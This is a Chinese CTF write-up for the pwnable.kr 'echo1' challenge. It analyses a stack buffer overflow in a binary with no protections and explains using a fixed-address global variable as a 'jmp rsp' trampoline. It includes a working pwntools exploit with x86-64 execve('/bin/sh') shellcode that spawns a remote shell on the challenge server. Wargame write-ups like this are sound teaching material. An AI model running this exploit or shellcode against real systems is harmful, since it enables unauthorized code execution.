pwnable.kr 之echo1

缓冲区溢出新解

题目链接:http://pwnable.kr/play.php
分析:该程序是一个64位的elf文件,运行程序.输入name,选择选项.

hey, what's your name? : bill
- select echo type -
- 1. : BOF echo
- 2. : FSB echo
- 3. : UAF echo
- 4. : exit

大致流程就这样.看到有三个选项只有第一个选项可以使用,由此可以猜到后面还会有echo2,echo3.
直接进入正题:
漏洞分析:

int echo1()
{
  char s; // [sp+0h] [bp-20h]@1
  (*((void (__fastcall **)(_QWORD))o + 3))(o);
  get_input(&s, 128);
  puts(&s);
  (*((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 128LL);
  return 0;
}
[bp-20h]----->s的length为32,但是输入确有128个字节,很明显的溢出.

漏洞利用:

CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

可以看到几乎什么防护都没有,可是有一点我们不知道,进入echo1后输入内容的地址.你也许会说:通过gdb调试core文件,gdb 查看内存地址.可是我想说的是这些都是你本机上面的地址,换个机器说不一定就变了.而且PIE(ADSL)是disable,不一定远端是ADSL.简单的来说就是返回值地址不能确定填什么.
解决方法:

int main(int argc, const char **argv, const char **envp)
{
  int *v3; // rsi@1
  _QWORD *v4; // rax@1
  int v6; // [sp+Ch] [bp-24h]@1
  _QWORD v7[4]; // [sp+10h] [bp-20h]@1

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  o = malloc('(');
  *((_QWORD *)o + 3) = greetings;
  *((_QWORD *)o + 4) = byebye;
  printf("hey, what's your name? : ", 0);
  v3 = (int *)v7;
  __isoc99_scanf("%24s", v7);
  v4 = o;
  *(_QWORD *)o = v7[0];
  v4[1] = v7[1];
  v4[2] = v7[2];
  id = v7[0];
  ......

这里我放了一部分main函数,能说明问题就行.可以看到有一个叫id的全局变量,这个全局变量的值是由你输入的name赋给它的.id大小为四个字节.id这个变量的地址是固定的,通过gdb查看:

print &id
$3 = (no debug info> *) 0x6020a0 

这个内容是由我们控制的.
payload的总体思路分为两部:
1.在id中填入shellcode(jmp rsp);
2.在数组s中填入:’A’*40+&id+shellcode(system(‘/bin/sh’))
所以exp如下:

from pwn import *
#sh=process('./echo1')
sh=remote('pwnable.kr',9010)
shellcode="\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05"
sh.sendline(asm("jmp rsp",arch='amd64',os='linux'))
sh.sendline("1")
sh.sendline('A'*40+p64(0x6020A0)+shellcode)
sh.interactive()

当汇编指令ret执行完,rsp执行了shellcode.执行流程:

rip--->&id--->shellcode

你可能感兴趣的:(PWN类型之栈溢出中级教程)